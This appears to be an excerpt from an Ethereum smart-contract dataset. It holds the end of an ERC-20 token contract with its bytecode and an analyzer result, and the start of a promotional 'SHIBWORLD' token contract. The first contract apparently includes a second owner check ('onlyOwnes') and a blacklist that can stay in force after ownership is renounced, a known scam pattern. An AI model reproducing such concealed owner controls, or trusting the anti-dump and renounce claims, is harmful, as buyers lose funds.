_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwnes {
_maxWalletSize = maxWalletSize;
}
}
|
0x6080604052600436106101ba5760003560e01c806374010ece116100ec578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd80146105f2578063c8c3a50514610609578063dd62ed3e14610632578063ea1644d51461066f576101c1565b8063a2a957bb1461054f578063a9059cbb14610578578063bfd79284146105b5576101c1565b80638f70ccf7116100c65780638f70ccf7146104a75780638f9a55c0146104d057806395d89b41146104fb57806398a5c31514610526576101c1565b806374010ece146104285780637d1db4a5146104515780638da5cb5b1461047c576101c1565b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103945780636fc3eaec146103bd57806370a08231146103d4578063715018a614610411576101c1565b8063313ce5671461031557806349bd5a5e146103405780636b9990531461036b576101c1565b80631694505e116101955780631694505e1461025757806318160ddd1461028257806323b872dd146102ad5780632fd689e3146102ea576101c1565b8062b8cf2a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e891906129b7565b610698565b005b3480156101fb57600080fd5b506102046107c4565b6040516102119190612a88565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190612ae0565b610801565b60405161024e9190612b3b565b60405180910390f35b34801561026357600080fd5b5061026c61081f565b6040516102799190612bb5565b60405180910390f35b34801561028e57600080fd5b50610297610845565b6040516102a49190612bdf565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190612bfa565b610856565b6040516102e19190612b3b565b60405180910390f35b3480156102f657600080fd5b506102ff61092f565b60405161030c9190612bdf565b60405180910390f35b34801561032157600080fd5b5061032a610935565b6040516103379190612c69565b60405180910390f35b34801561034c57600080fd5b5061035561093e565b6040516103629190612c93565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612cae565b610964565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612d07565b610a56565b005b3480156103c957600080fd5b506103d2610b07565b005b3480156103e057600080fd5b506103fb60048036038101906103f69190612cae565b610b79565b6040516104089190612bdf565b60405180910390f35b34801561041d57600080fd5b50610426610bca565b005b34801561043457600080fd5b5061044f600480360381019061044a9190612d34565b610d1d565b005b34801561045d57600080fd5b50610466610dbc565b6040516104739190612bdf565b60405180910390f35b34801561048857600080fd5b50610491610dc2565b60405161049e9190612c93565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612d07565b610deb565b005b3480156104dc57600080fd5b506104e5610e9d565b6040516104f29190612bdf565b60405180910390f35b34801561050757600080fd5b50610510610ea3565b60405161051d9190612a88565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190612d34565b610ee0565b005b34801561055b57600080fd5b5061057660048036038101906105719190612d61565b610f81565b005b34801561058457600080fd5b5061059f600480360381019061059a9190612ae0565b61103a565b6040516105ac9190612b3b565b60405180910390f35b3480156105c157600080fd5b506105dc60048036038101906105d79190612cae565b611058565b6040516105e99190612b3b565b60405180910390f35b3480156105fe57600080fd5b50610607611078565b005b34801561061557600080fd5b50610630600480360381019061062b9190612cae565b6110f2565b005b34801561063e57600080fd5b5061065960048036038101906106549190612dc8565b6112b6565b6040516106669190612bdf565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612d34565b61133d565b005b6106a06113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690612e54565b60405180910390fd5b60005b81518110156107c05760016011600084848151811061075457610753612e74565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b890612ed2565b915050610732565b5050565b60606040518060400160405280600781526020017f41494d20496e7500000000000000000000000000000000000000000000000000815250905090565b600061081561080e6113de565b84846113e6565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108638484846115b1565b6109248461086f6113de565b61091f8560405180606001604052806028815260200161388160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108d56113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfc9092919063ffffffff16565b6113e6565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61096c6113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f290612e54565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a5e6113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612e54565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b486113de565b73ffffffffffffffffffffffffffffffffffffffff1614610b6857600080fd5b6000479050610b7681611d60565b50565b6000610bc3600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcc565b9050919050565b610bd26113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5690612e54565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d256113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da990612e54565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610df36113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790612e54565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600381526020017f41494d0000000000000000000000000000000000000000000000000000000000815250905090565b610ee86113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90612e54565b60405180910390fd5b8060198190555050565b610f896113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f90612e54565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061104e6110476113de565b84846115b1565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110b96113de565b73ffffffffffffffffffffffffffffffffffffffff16146110d957600080fd5b60006110e430610b79565b90506110ef81611e3a565b50565b6110fa6113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612e54565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f090612f8d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113456113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612e54565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd906130b1565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a49190612bdf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161890613143565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611691576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611688906131d5565b60405180910390fd5b600081116116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613267565b60405180910390fd5b6116dc610dc2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174a575061171a610dc2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119fb57601660149054906101000a900460ff166117a9576017548111156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179f906132d3565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184d5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188390613365565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461193957601854816118ee84610b79565b6118f89190613385565b10611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f9061344d565b60405180910390fd5b5b600061194430610b79565b905060006019548210159050601754821061195f5760175491505b8080156119795750601660159054906101000a900460ff16155b80156119d35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119e9575060168054906101000a900460ff165b156119f8576119f782611e3a565b5b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aa25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b555750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b545750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611b635760009050611cea565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c2657600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce957600b54600d81905550600c54600e819055505b5b611cf6848484846120c2565b50505050565b6000838311158290611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b9190612a88565b60405180910390fd5b5060008385611d53919061346d565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dc8573d6000803e3d6000fd5b5050565b6000600754821115611e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0a90613513565b60405180910390fd5b6000611e1d6120ef565b9050611e32818461211a90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e7257611e71612816565b5b604051908082528060200260200182016040528015611ea05781602001602082028036833780820191505090505b5090503081600081518110611eb857611eb7612e74565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5a57600080fd5b505afa158015611f6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f929190613548565b81600181518110611fa657611fa5612e74565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061200d30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161207195949392919061366e565b600060405180830381600087803b15801561208b57600080fd5b505af115801561209f573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806120d0576120cf612164565b5b6120db8484846121a7565b806120e9576120e8612372565b5b50505050565b60008060006120fc612386565b91509150612113818361211a90919063ffffffff16565b9250505090565b600061215c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123e8565b905092915050565b6000600d5414801561217857506000600e54145b15612182576121a5565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806121b98761244b565b95509550955095509550955061221786600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ac85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f88161255b565b6123028483612618565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161235f9190612bdf565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080600060075490506000683635c9adc5dea0000090506123bc683635c9adc5dea0000060075461211a90919063ffffffff16565b8210156123db57600754683635c9adc5dea000009350935050506123e4565b81819350935050505b9091565b6000808311829061242f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124269190612a88565b60405180910390fd5b506000838561243e91906136f7565b9050809150509392505050565b60008060008060008060008060006124688a600d54600e54612652565b92509250925060006124786120ef565b9050600080600061248b8e8787876126e8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cfc565b905092915050565b600080828461250c9190613385565b905083811015612551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254890613774565b60405180910390fd5b8091505092915050565b60006125656120ef565b9050600061257c828461277190919063ffffffff16565b90506125d081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262d826007546124b390919063ffffffff16565b600781905550612648816008546124fd90919063ffffffff16565b6008819055505050565b60008060008061267e6064612670888a61277190919063ffffffff16565b61211a90919063ffffffff16565b905060006126a8606461269a888b61277190919063ffffffff16565b61211a90919063ffffffff16565b905060006126d1826126c3858c6124b390919063ffffffff16565b6124b390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612701858961277190919063ffffffff16565b90506000612718868961277190919063ffffffff16565b9050600061272f878961277190919063ffffffff16565b905060006127588261274a85876124b390919063ffffffff16565b6124b390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561278457600090506127e6565b600082846127929190613794565b90508284826127a191906136f7565b146127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613860565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61284e82612805565b810181811067ffffffffffffffff8211171561286d5761286c612816565b5b80604052505050565b60006128806127ec565b905061288c8282612845565b919050565b600067ffffffffffffffff8211156128ac576128ab612816565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128ed826128c2565b9050919050565b6128fd816128e2565b811461290857600080fd5b50565b60008135905061291a816128f4565b92915050565b600061293361292e84612891565b612876565b90508083825260208201905060208402830185811115612956576129556128bd565b5b835b8181101561297f578061296b888261290b565b845260208401935050602081019050612958565b5050509392505050565b600082601f83011261299e5761299d612800565b5b81356129ae848260208601612920565b91505092915050565b6000602082840312156129cd576129cc6127f6565b5b600082013567ffffffffffffffff8111156129eb576129ea6127fb565b5b6129f784828501612989565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a3a578082015181840152602081019050612a1f565b83811115612a49576000848401525b50505050565b6000612a5a82612a00565b612a648185612a0b565b9350612a74818560208601612a1c565b612a7d81612805565b840191505092915050565b60006020820190508181036000830152612aa28184612a4f565b905092915050565b6000819050919050565b612abd81612aaa565b8114612ac857600080fd5b50565b600081359050612ada81612ab4565b92915050565b60008060408385031215612af757612af66127f6565b5b6000612b058582860161290b565b9250506020612b1685828601612acb565b9150509250929050565b60008115159050919050565b612b3581612b20565b82525050565b6000602082019050612b506000830184612b2c565b92915050565b6000819050919050565b6000612b7b612b76612b71846128c2565b612b56565b6128c2565b9050919050565b6000612b8d82612b60565b9050919050565b6000612b9f82612b82565b9050919050565b612baf81612b94565b82525050565b6000602082019050612bca6000830184612ba6565b92915050565b612bd981612aaa565b82525050565b6000602082019050612bf46000830184612bd0565b92915050565b600080600060608486031215612c1357612c126127f6565b5b6000612c218682870161290b565b9350506020612c328682870161290b565b9250506040612c4386828701612acb565b9150509250925092565b600060ff82169050919050565b612c6381612c4d565b82525050565b6000602082019050612c7e6000830184612c5a565b92915050565b612c8d816128e2565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600060208284031215612cc457612cc36127f6565b5b6000612cd28482850161290b565b91505092915050565b612ce481612b20565b8114612cef57600080fd5b50565b600081359050612d0181612cdb565b92915050565b600060208284031215612d1d57612d1c6127f6565b5b6000612d2b84828501612cf2565b91505092915050565b600060208284031215612d4a57612d496127f6565b5b6000612d5884828501612acb565b91505092915050565b60008060008060808587031215612d7b57612d7a6127f6565b5b6000612d8987828801612acb565b9450506020612d9a87828801612acb565b9350506040612dab87828801612acb565b9250506060612dbc87828801612acb565b91505092959194509250565b60008060408385031215612ddf57612dde6127f6565b5b6000612ded8582860161290b565b9250506020612dfe8582860161290b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e3e602083612a0b565b9150612e4982612e08565b602082019050919050565b60006020820190508181036000830152612e6d81612e31565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612edd82612aaa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f1057612f0f612ea3565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f77602683612a0b565b9150612f8282612f1b565b604082019050919050565b60006020820190508181036000830152612fa681612f6a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613009602483612a0b565b915061301482612fad565b604082019050919050565b6000602082019050818103600083015261303881612ffc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061309b602283612a0b565b91506130a68261303f565b604082019050919050565b600060208201905081810360008301526130ca8161308e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061312d602583612a0b565b9150613138826130d1565b604082019050919050565b6000602082019050818103600083015261315c81613120565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131bf602383612a0b565b91506131ca82613163565b604082019050919050565b600060208201905081810360008301526131ee816131b2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613251602983612a0b565b915061325c826131f5565b604082019050919050565b6000602082019050818103600083015261328081613244565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006132bd601c83612a0b565b91506132c882613287565b602082019050919050565b600060208201905081810360008301526132ec816132b0565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b600061334f602383612a0b565b915061335a826132f3565b604082019050919050565b6000602082019050818103600083015261337e81613342565b9050919050565b600061339082612aaa565b915061339b83612aaa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d0576133cf612ea3565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613437602383612a0b565b9150613442826133db565b604082019050919050565b600060208201905081810360008301526134668161342a565b9050919050565b600061347882612aaa565b915061348383612aaa565b92508282101561349657613495612ea3565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fd602a83612a0b565b9150613508826134a1565b604082019050919050565b6000602082019050818103600083015261352c816134f0565b9050919050565b600081519050613542816128f4565b92915050565b60006020828403121561355e5761355d6127f6565b5b600061356c84828501613533565b91505092915050565b6000819050919050565b600061359a61359561359084613575565b612b56565b612aaa565b9050919050565b6135aa8161357f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135e5816128e2565b82525050565b60006135f783836135dc565b60208301905092915050565b6000602082019050919050565b600061361b826135b0565b61362581856135bb565b9350613630836135cc565b8060005b8381101561366157815161364888826135eb565b975061365383613603565b925050600181019050613634565b5085935050505092915050565b600060a0820190506136836000830188612bd0565b61369060208301876135a1565b81810360408301526136a28186613610565b90506136b16060830185612c84565b6136be6080830184612bd0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061370282612aaa565b915061370d83612aaa565b92508261371d5761371c6136c8565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061375e601b83612a0b565b915061376982613728565b602082019050919050565b6000602082019050818103600083015261378d81613751565b9050919050565b600061379f82612aaa565b91506137aa83612aaa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137e3576137e2612ea3565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061384a602183612a0b565b9150613855826137ee565b604082019050919050565b600060208201905081810360008301526138798161383d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2c9fbbe7594d1ccde2edff4a366c8c2307fac139b22c4007921ccc11f9675a264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,040 |
0x89d33b45694a3e0de2d266458e9eeabfde86ab03
|
/*
https://t.me/ShibasWorld
We're coming for all the ERC20's on Ethereum
We have a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, as a result; $SHIBWORLD is designed to reward holders and discourage dumping.
1. Bot and whale manipulation prevention: Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will go directly to Uniswap for trading.
3. No presale or team wallets allocated with tokens that can dump on the community.
Token Information:
1. 1,000,000,000,000 Total Supply, but we're burning 10% of this imemdiately to create a super deflationary mechanism within the tokenomics!
3. Developer provides LP and it's locked with Team.Finance
4. We have made the fairest possible launch for everyone and pre-announced, so there is no early secret buyers!
5. 0,6% transaction limit on launch - You can only buy 6000000000 $SHIBWORLD until it's lifted
6. Buy limit lifted to 1% of the supply 5 minutes after launch, then the ownership of the token is immediately renounced
7. Sells limited to 3% of the Liquidity Pool, <3% price impact - Anti dump mechanism
8. Sell cooldown increases on consecutive sells, 5 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 6% redistribution to holders on the first sell, increases 2x, 3x, 4x, 5x on consecutive sells
11. This redistribution mechanism works as expected above and benefits the holders much more than sellers!
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
